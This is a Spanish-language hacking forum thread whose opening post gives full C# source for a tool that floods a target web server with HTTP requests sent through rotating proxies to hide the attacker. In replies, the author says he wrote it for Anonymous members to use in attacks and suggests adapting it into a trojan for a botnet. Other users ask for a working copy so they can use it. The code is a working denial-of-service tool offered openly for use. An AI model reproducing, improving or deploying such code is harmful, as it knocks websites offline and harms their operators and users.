Febrero 25, 2018, 12:06:26 am

Autor Tema: [C#] Programa que realiza ataques DDoS a través de proxy  (Leído 9162 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado kelevra7

  • Me das tu IP?
  • *
  • Mensajes: 11
  • Sexo: Masculino
    • Ver Perfil
[C#] Programa que realiza ataques DDoS a través de proxy
« en: Diciembre 26, 2010, 04:36:06 pm »
El programa realiza un ataque DDoS a un servidor web, utilizando peticiones HTTP, a través de proxys, que va cambiando cada un segundo, utilizando una lista, predefinida en la interfaz del programa. El cambio de proxy se realiza para evitar saturar el proxy con el ataque.
(Es mi primer programa en C#...) Para descargar el binario: You are not allowed to view links. Register or Login, despues subiré ahi mismo el resto de los archivos fuente (diseño del formulario, etc.).
Código: You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Net;
using System.Timers;

// DDoSer version 2
// Kelevra 2010 (http://deathrow.vistech.net/~KELEVRA/)
// Hace DDoS mediante peticiones HTTP a un servidor,
// utilizando los proxy de una lista.

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
       

        public Form1()
        {
            InitializeComponent();
        }

        static int Conectar(string IPproxy, Int32 PuertoProxy, string IPblanco, Int32 Puerto, string mensaje)
        {
            //Conecta a IPblanco en el puerto enviando la peticion "mensaje"
            //Usar bajo la propia responsabilidad...
            try
            {
                TcpClient cliente = new TcpClient(IPproxy, PuertoProxy); //Crea un cliente
                Byte[] data = new Byte[256];
                data = System.Text.Encoding.ASCII.GetBytes("GET " + mensaje + " HTTP/1.1\nHost:" + IPblanco + ":" + Puerto + "\nUser-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10\n\n"); //Pasa el mensaje a la variable byte data
                NetworkStream stream = cliente.GetStream();
                stream.Write(data, 0, data.Length); //Escribe en el flujo de datos del cliente el mensaje
                stream.Close();
                cliente.Close(); //Cierra todo
                return 1;
            }
            catch (ArgumentNullException e)
            {
                // no es necesario MessageBox.Show("ArgumentNullException: " + e);
                return 0;
            }
            catch (SocketException e)
            {
                // no es necesario MessageBox.Show("SocketException: " + e.ToString());
                return 0;
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        private void button1_Click(object sender, EventArgs e)
        {
            timer1.Interval = Convert.ToInt32(textIntervalos.Text);
            if (timer1.Enabled == false)
            {
                timer1.Enabled = true; //Si no corre el timer, esto lo inicia
                disparar.Text = "PARAR";
            }
            else
            {
                timer1.Enabled = false; //Si el timer corre, esto lo para
                disparar.Text = "DISPARAR";
            }
        }

        private void URL2IP_Click(object sender, EventArgs e)
        {
            textIP.Text = Convert.ToString(Dns.GetHostEntry(textURL.Text).AddressList[0]);
        }

        public int count = 0; //Dos contadores. count: indicara segundos.
        public int ticks = 0; //ticks: indicara ticks del timer

        private void timer1_Tick(object sender, EventArgs e)
        {
            if (count == listProxy.Items.Count)
                count = 0; //Si count sobrepasa el largo de la lista de proxys, vuelve a 0
            listProxy.SelectedIndex = count; //Muestra al usuario el proxy en uso
            int respuesta = Conectar(Convert.ToString(listProxy.Items[count]), 80, textIP.Text, Convert.ToInt32(textPuerto.Text), textMensaje.Text);
            if (respuesta == 1)
                labelAciertos.Text = Convert.ToString(Convert.ToUInt32(labelAciertos.Text) + 1);
            if (respuesta == 0)
                labelFallas.Text = Convert.ToString(Convert.ToUInt32(labelFallas.Text) + 1);
            ticks += 1;
            if (ticks / (1000 / Convert.ToInt32(textIntervalos.Text)) == ticks / (1000.0 / Convert.ToInt32(textIntervalos.Text)))
                count += 1; //Si paso un segundo, aumenta count
        }

    }

}

Desconectado @Aps

  • Me das tu password?
  • **
  • Mensajes: 267
  • Sexo: Masculino
  • (?)
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #1 en: Diciembre 26, 2010, 04:40:53 pm »
Muy bueno. =O
yo estaba tratando un synflood con sockets en c++ pero aun no lo logro.
Buen code, lastima que no se nada de c#.

Saludos.
There is not other!

Desconectado kelevra7

  • Me das tu IP?
  • *
  • Mensajes: 11
  • Sexo: Masculino
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #2 en: Diciembre 31, 2010, 09:27:25 am »

Encontré para synflood (aunque en C) un codigo de ejemplo bastante bueno y entendible: You are not allowed to view links. Register or Login

Desconectado Oskaury

  • Me das tu IP?
  • *
  • Mensajes: 89
  • Sexo: Masculino
  • Jesucristo es lo mejor!!!
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #3 en: Diciembre 31, 2010, 09:41:19 am »
Muy bueno bro, buen post. XD
Definición de Hardware: Es lo que recibe los golpes cuando el software no funciona.

Desconectado @Aps

  • Me das tu password?
  • **
  • Mensajes: 267
  • Sexo: Masculino
  • (?)
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #4 en: Diciembre 31, 2010, 12:23:24 pm »
Muy bueno. =O
yo estaba tratando un synflood con sockets en c++ pero aun no lo logro.
Buen code, lastima que no se nada de c#.

Saludos.

Encontré para synflood (aunque en C) un codigo de ejemplo bastante bueno y entendible: You are not allowed to view links. Register or Login
[/quote]
Gracias men esta muy bueno, no tengo experiencia con sockets en linux pero en la misma pagina hay un apartado que lo explica muy bien me va a servir de patrón para entenderlo mejor.

Un saludo.

Desconectado taul

  • Yo vivo en CPH
  • ***
  • Mensajes: 662
  • Sexo: Masculino
  • for(;;) taul++ = faso++;
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #5 en: Diciembre 31, 2010, 02:07:45 pm »
Voy a poner..."creo" ya q sobre c# no se nada...Este codigo es para un atake DoS no un DDoS. o me equivoco?

los D.o.S ya ni funcionan te cierran la coneccion y listo.

sobre el codigo no puedo opinar x q de c# no se nada  :embarassed:


saludos.

« Última modificación: Diciembre 31, 2010, 02:12:33 pm por taul »
C Nuestro que estas en la Memoria,
Compilado sea tu código,
venga a nosotros tu software,
carguense tus punteros.
así en la RAM como en el Disco Duro,
Danos hoy nuestro Array de cada día,
Perdona nuestros Warnings,
así como nosotros también los eliminamos,
no nos dejes caer en Bucles,
y libranos del Windows, Enter.

Desconectado kelevra7

  • Me das tu IP?
  • *
  • Mensajes: 11
  • Sexo: Masculino
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #6 en: Diciembre 31, 2010, 08:28:16 pm »

En realidad lo arme para los miembros de Anonymous que quisieran cubrir su IP durante los ataques... Sería un DDoS voluntario, pero facilmente podes adaptar el código a un troyano o algo y usarlo en una botnet... aunque en ese caso tampoco es importante cubrir la IP de las maquinas infectadas, y hasta sería contraproducente dado que tarda mas por el tiempo de respuesta de los proxys...
Espero que resuelva tu pregunta...

Feliz año a todos!!

Desconectado Thorninaron

  • CPQUE??
  • *
  • Mensajes: 1
    • Ver Perfil
Re: [C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #7 en: Marzo 02, 2011, 09:14:27 am »
Hola, Estaba buscando este programa hace mucho pero creo que no anda mas T_T creo que los proxys están vencidos o algo así. alguien lo puede probar y decirme? ahh y el link de descarga esta muerto...

Estoy desesperado para poder usar este programa.

Lo haría yo pero no se nada de nada de Visual C#

Muchisimas gracias

Desconectado wep.

  • Me das tu IP?
  • *
  • Mensajes: 8
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
Re:[C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #8 en: Febrero 08, 2012, 02:11:26 pm »
el link de descarga no funciona

Desconectado alextanase

  • Me das tu IP?
  • *
  • Mensajes: 25
  • Sexo: Masculino
  • ¿Necesitas proteccion? Contacta conmigo.
    • Ver Perfil
    • StreamNull Corporation
Re:[C#] Programa que realiza ataques DDoS a través de proxy
« Respuesta #9 en: Febrero 10, 2012, 05:05:44 am »
oye se podria hacer esto en visual basic 6.0¿?
No entres en mi pagina, bueno como quieras aunque de todas formas no podras entrar :D.


question
¿Como puedo programar un programa que envie ataques ddos a una ip?

Iniciado por Trex98

7 Respuestas
2167 Vistas
Último mensaje Junio 20, 2015, 02:05:03 pm
por Trex98
exclamation
¡Cuidado! nuevos ataques de phishing en Twitter a través de DM

Iniciado por STANHMAL

0 Respuestas
614 Vistas
Último mensaje Febrero 22, 2010, 01:22:10 pm
por STANHMAL
question
Sobre ataques DDos

Iniciado por LoisYo

9 Respuestas
3074 Vistas
Último mensaje Julio 09, 2011, 05:24:58 am
por mr.blood
xx
Ataques Ddos (DUDA) LEE MUY INTERESANTE

Iniciado por erkonesa

3 Respuestas
2148 Vistas
Último mensaje Abril 15, 2007, 02:20:25 pm
por vVegeta
exclamation
Manual Sobre ataques DDoS

Iniciado por Polk22

22 Respuestas
7902 Vistas
Último mensaje Noviembre 18, 2007, 04:24:20 am
por Alsore
question
como se realizan actualmente los ataques DDOS?

Iniciado por alucard(C.A.S.L.A)

6 Respuestas
1625 Vistas
Último mensaje Julio 15, 2014, 04:54:20 pm
por nikchampion
exclamation
[PDF] Ataques DDOS: Qué son, como hacer frente a uno...etc

Iniciado por invi

0 Respuestas
2332 Vistas
Último mensaje Octubre 26, 2009, 01:26:18 pm
por invi
xx
necesito alguien que pueda hacer ataques DDOS

Iniciado por elsecredo3

1 Respuestas
3494 Vistas
Último mensaje Febrero 21, 2018, 01:14:47 am
por Aesoburne
exclamation
Un fallo de AirDroid podría permitir ataques DDoS

Iniciado por cemasmas

1 Respuestas
1274 Vistas
Último mensaje Abril 12, 2013, 12:16:58 pm
por huron74
exclamation
Descubren aplicación maliciosa que puede realizar ataques DDoS con el celular

Iniciado por cemasmas

4 Respuestas
1841 Vistas
Último mensaje Enero 02, 2013, 12:05:08 pm
por huron74